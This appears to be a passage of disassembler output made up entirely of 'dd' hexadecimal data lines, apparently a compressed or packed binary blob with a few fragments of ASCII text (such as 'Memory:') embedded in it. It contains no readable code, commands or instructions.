		dd 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h, 0C746000h
		dd 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h,	6A985100h
		dd 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h, 0EC1D756Fh
		dd 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah, 701A40EEh
		dd 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh, 0B021FAD2h
		dd 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h, 0D43400B4h
		dd 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h, 0DA8906h
		dd 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h
		dd 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h, 1F240A80h
		dd 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h,	0AAF8C910h
		dd 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h, 87FB0E4Bh
		dd 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h, 50009A20h
		dd 32125B3Bh, 0EC8814h,	8A532E44h, 4F3924A8h, 6113B300h
		dd 897C620Eh, 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h
		dd 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh
		dd 0E506ADA0h, 8001F4h,	7BBFF85Ch, 0A80B0ACEh, 0C1E4600h
		dd 0D3F5890h, 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h
		dd 5893598Eh, 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h
		dd 0F0F35214h, 78EB19h,	30071A91h, 1DCC2C58h, 1A86A58h
		dd 0D4612D44h, 10F0BB28h, 433E4C0h, 0FEF39450h,	89A0C052h
		dd 54008BD5h, 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h
		dd 241D2D0Fh, 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h
		dd 431ED4EBh, 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h
		dd 9D0049F1h, 0D1285C61h, 984AE98Ah, 70B31F84h,	0DA48C08Eh
		dd 0C6087544h, 7761C400h, 0E57F9C8h, 708E075Bh,	306A2D4Bh
		dd 463A7620h, 0CD25F50Fh, 554F409Ch, 7740561Ah,	287A7E59h
		dd 5DFD6D0h, 1C2F89DBh,	41918024h, 14039BCCh, 0CE920BFAh
		dd 5749A8D0h, 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h
		dd 9B3D09h, 0AA1DD5AEh,	5098BEE1h, 0EF335600h, 48CD832Ah
		dd 0BD5B0971h, 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh
		dd 0BF3100AFh, 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h
		dd 0BD0FDCh, 10C2731Bh,	23DE0892h, 0F77993F2h, 765E938h
		dd 0FA832875h, 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h
		dd 73E02A56h, 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah
		dd 0E4D414A3h, 88909DA4h, 64836602h, 0C02A8038h, 1818764h
		dd 5F3E868Dh, 4084F742h, 0EB2720CEh, 51FF100Ch,	419FC15h
		dd 0C3A78AAEh, 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h
		dd 0C41007Ah, 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h
		dd 8F580002h, 72BD0486h, 1300C6A8h, 0E5DA0908h,	0FE4C8A52h
		dd 1E507A0Ah, 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h
		dd 0F02FE0A2h, 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h
		dd 458D12D8h, 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh
		dd 0E43E4A98h, 9C9294F2h, 2C3503F1h, 88E3CCA8h,	1385150h
		dd 0CBD48A23h, 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h
		dd 62CD005Ah, 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh
		dd 53C800FFh, 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h
		dd 0C0756Dh, 0C336835h,	0ACDD5634h, 1209200h, 5482ABAh
		dd 2F2200FDh, 9B511998h, 32008C07h, 0F80A0389h,	0E6443EAh
		dd 2FC0C08h, 9A34EB60h,	7D008F4Ah, 0D15727AAh, 3515C18h
		dd 2B4EAD53h, 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h
		dd 72EE3D6h, 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h
		dd 7E85109h, 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h
		dd 8BDE9C53h, 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch
		dd 3203E259h, 0A4133D59h, 305A875h, 210801FBh, 0A31D319h
		dd 0F7D5C048h, 22135500h, 4271109Dh, 949600B4h,	93CBE658h
		dd 0E77BC295h, 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh
		dd 2177F869h, 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h
		dd 0F600D6CEh, 6A65AF5Bh, 1E46728Ch, 43B99944h,	0A58B7D89h
		dd 0EF9C13C0h, 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h
		dd 6531F3E8h, 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h
		dd 448CDD58h, 70FF1B1Ah, 0C4060C00h, 33B8040Dh,	891200D9h
		dd 5B3936E2h, 551F2CA2h, 807AE011h, 0AD05D354h,	91F849h
		dd 6CC88925h, 0A34A2471h, 0A540400h, 3870B506h,	47640027h
		dd 3B74A607h, 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h
		dd 0C0953F1Ch, 0C8002C97h, 6B7C818Fh, 0A5FA10h,	0E8067525h
		dd 6602EBEDh, 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h
		dd 7204583Bh, 8010A67h,	0C0705A4h, 0F5E0C975h, 0B0360084h
		dd 0EEE7F432h, 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h
		dd 6FB8F844h, 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h
		dd 130F6A82h, 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h
		dd 9D7D83F4h, 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh
		dd 0A43400F4h, 8C12A515h, 450043E8h, 356536E9h,	371C8Dh
		dd 3ADC3880h, 1780F08h,	0E0EEEDFDh, 700015D5h, 0E814025Bh
		dd 6633D7h, 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh
		dd 565DD6h, 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h
		dd 39554C64h, 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h
		dd 618F0FA4h, 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h
		dd 0C75CC3E1h, 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh
		dd 72047E2h, 3A2CD4CFh,	0C203E056h, 4EE03D40h, 0C6487F00h
		dd 33A13584h, 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h
		dd 20DF7285h, 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah,	6B0EC1CCh
		dd 0C06E7265h, 321D336Ch, 7B643C2Eh, 920FF594h,	6F673C70h
		dd 61500073h, 4E7468EEh, 51006D7Dh, 0A8231441h,	0FFEE010h
		dd 71A75292h, 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh
		dd 24BDE03Fh, 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh
		dd 0C47275E2h, 64210052h, 71014B46h, 361D0EE8h,	6000C7B1h
		dd 92B2A5C3h, 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h
		dd 784B1A37h, 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh
		dd 0C793001Eh
		dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
		dd 0F61811h, 2113BD80h,	0BEAF0A48h, 0F37D9307h,	678EF90Ch
		dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
		dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
		dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
		dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
		dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
		dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
		dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
		dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
		dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
		dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
		dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh,	553BC880h
		dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
		dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h,	2A7D3E81h
		dd 0AB15A68h, 998438Bh,	0B3E803EAh, 50727B99h, 6F0CBC00h
		dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
		dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah,	8D520C06h
		dd 4A000EBAh, 214BC22h,	2993E8h, 0E6A2D272h, 11C98E7Dh
		dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h,	3C00C9EDh
		dd 0AEB77DF2h, 52AAE9h,	62BB4433h, 21590504h, 0F7EB3400h
		dd 9612CADh, 76747FB0h,	745B48E8h, 49017500h, 0DC76DA19h
		dd 894C3001h, 6CB0C46h,	17FF20h, 45C3B12Dh, 9B480B74h
		dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h,	40B95F31h
		dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
		dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
		dd 222648h, 0FB96B2AEh,	10510F99h, 7060520Ch, 852046h
		dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah,	63A600B8h
		dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
		dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
		dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h,	0D68B2280h
		dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
		dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
		dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h,	3B5374B4h
		dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
		dd 5EE4B1E0h, 0A47CC3h,	23246D7Ch, 69B81188h, 0E9EB0402h
		dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
		dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
		dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h,	87D882Ah
		dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
		dd 4FBABFC0h, 0E6F34Ch,	0EF461CD3h, 20C30Eh, 0F718AFA6h
		dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
		dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
		dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
		dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
		dd 80011109h, 48302F9h,	0E1F46B42h, 1D70FFC1h, 0B822000Dh
		dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h,	0EBBF0074h
		dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
		dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh,	0ED51FFAh
		dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
		dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
		dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh,	1EBEE00h
		dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
		dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
		dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
		dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h,	4084B073h
		dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
		dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
		dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h,	2803007Eh
		dd 4987B8BBh, 600452Bh,	1167FD1h, 7DC5A30Eh, 421900F4h
		dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
		dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah,	3B77426h
		dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
		dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
		dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
		dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
		dd 1D2D00F5h, 0AEA0BAh,	542B7EBDh, 3B90E91Fh, 89DB520Fh
		dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
		dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
		dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah,	5A6CC001h
		dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
		dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
		dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
		dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
		dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
		dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
		dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
		dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
		dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
		dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h,	16A61CEEh
		dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h,	0FE800DE8h
		dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h,	31A0020Ah
		dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
		dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
		dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
		dd 1AC90C0h, 8678326Eh,	30484087h, 0A0357B5h, 0A968163Fh
		dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
		dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
		dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
		dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
		dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
		dd 9DC5ADA8h, 1697F00h,	0FFCFA6D5h, 781F0E49h, 0C314B6BDh
		dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
		dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h,	8D093927h
		dd 70F70Fh, 0C9304093h,	0FFE33D3Ch, 8A529681h, 838E49E7h
		dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch,	0BBD226FCh
		dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
		dd 406F9FA4h, 1F8AA17h,	0E30F10AEh, 0ECFAC4C5h,	0B01C9C59h
		dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
		dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
		dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah,	93A7E44Dh
		dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
		dd 0F000A65Ah
		dd 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h
		dd 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh,	28A38h
		dd 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
		dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
		dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
		dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
		dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
		dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
		dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
		dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
		dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
		dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
		dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
		dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h,	47565948h
		dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
		dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
		dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
		dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh,	9900E6FCh
		dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh,	395364DAh
		dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
		dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
		dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
		dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
		dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
		dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
		dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
		dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh
		dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah
		dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h
		dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h
		dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah
		dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h,	0E175406Ah
		dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h
		dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h
		dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh
		dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh
		dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h,	15F66428h
		dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh,	7A17E022h
		dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h
		dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah
		dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h
		dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h
		dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh
		dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h
		dd 3401577Bh, 932DC45h,	69E480C4h, 0EB601EA6h, 0A49ECF10h
		dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah
		dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah
		dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h
		dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h
		dd 0B4E4B8C8h, 3BB072h,	0FC319382h, 0A6F8104Ch,	0F4470800h
		dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h
		dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h
		dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh
		dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h
		dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h
		dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah
		dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h
		dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah
		dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh
		dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h
		dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h
		dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h
		dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h
		dd 39CD0472h, 0CF1CCEh,	91B123B0h, 0B3C824B2h, 39B58111h
		dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh
		dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh
		dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h
		dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh
		dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h
		dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h,	0ABE45790h
		dd 95809CB2h, 0C015E2h,	754F450Ch, 66017473h, 6D654D00h
		dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h,	450BD4F5h
		dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h,	2F0C9066h
		dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h
		dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h,	35010E65h
		dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h
		dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h
		dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh
		dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh
		dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h,	7626B4h
		dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h
		dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h,	0D0084740h
		dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh
		dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch,	97D567Eh
		dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh
		dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch,	41451005h
		dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h
		dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h
		dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h
		dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h,	52E864h
		dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h
		dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h
		dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h
		dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h,	890C8112h
		dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh
		dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h
		dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh
		dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h
		dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h
		dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h
		dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h
		dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h
		dd 770F7A94h, 0C07D4855h
		dd 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h,	0D706C3B6h
		dd 69D02900h, 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h
		dd 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh
		dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h
		dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h,	51A65F09h
		dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h
		dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h
		dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h
		dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h
		dd 557550BAh, 12F3B91h,	3822F5D5h, 402E1004h, 0C4F278E2h
		dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh
		dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch
		dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h,	0EB66ECA1h
		dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h
		dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h
		dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h
		dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch
		dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh
		dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh
		dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h
		dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h,	12FB307h
		dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h
		dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h,	0A639600Eh
		dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h
		dd 9697C714h, 7BC2516h,	0FEB818E8h, 98C8D013h, 0EC0099E3h
		dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh
		dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh
